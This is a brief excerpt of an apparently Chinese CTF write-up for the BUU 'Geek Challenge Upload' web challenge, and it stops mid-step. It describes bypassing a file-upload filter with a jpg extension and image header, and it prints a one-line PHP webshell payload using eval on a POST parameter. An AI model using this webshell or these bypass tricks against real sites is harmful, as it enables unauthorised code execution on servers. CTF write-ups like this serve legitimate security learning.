BUU_Web 極客大挑戰 Upload

打開題目網址，文件上傳： 嘗試上傳 webshell.php ，一句話木馬： 看來是不能上傳 .php，抓包發現需要上傳jpg格式圖片： 將文件後綴格式改成 jpg 格式： <? 被檢測，只能換一種一句話木馬了，： <script language="php">eval($_POST['cmd']);</script> 提示檢測到不完全是圖片，寫入 jpg 格式文件頭，再次上傳，仍然顯示不完全是圖

>>阅读原文<<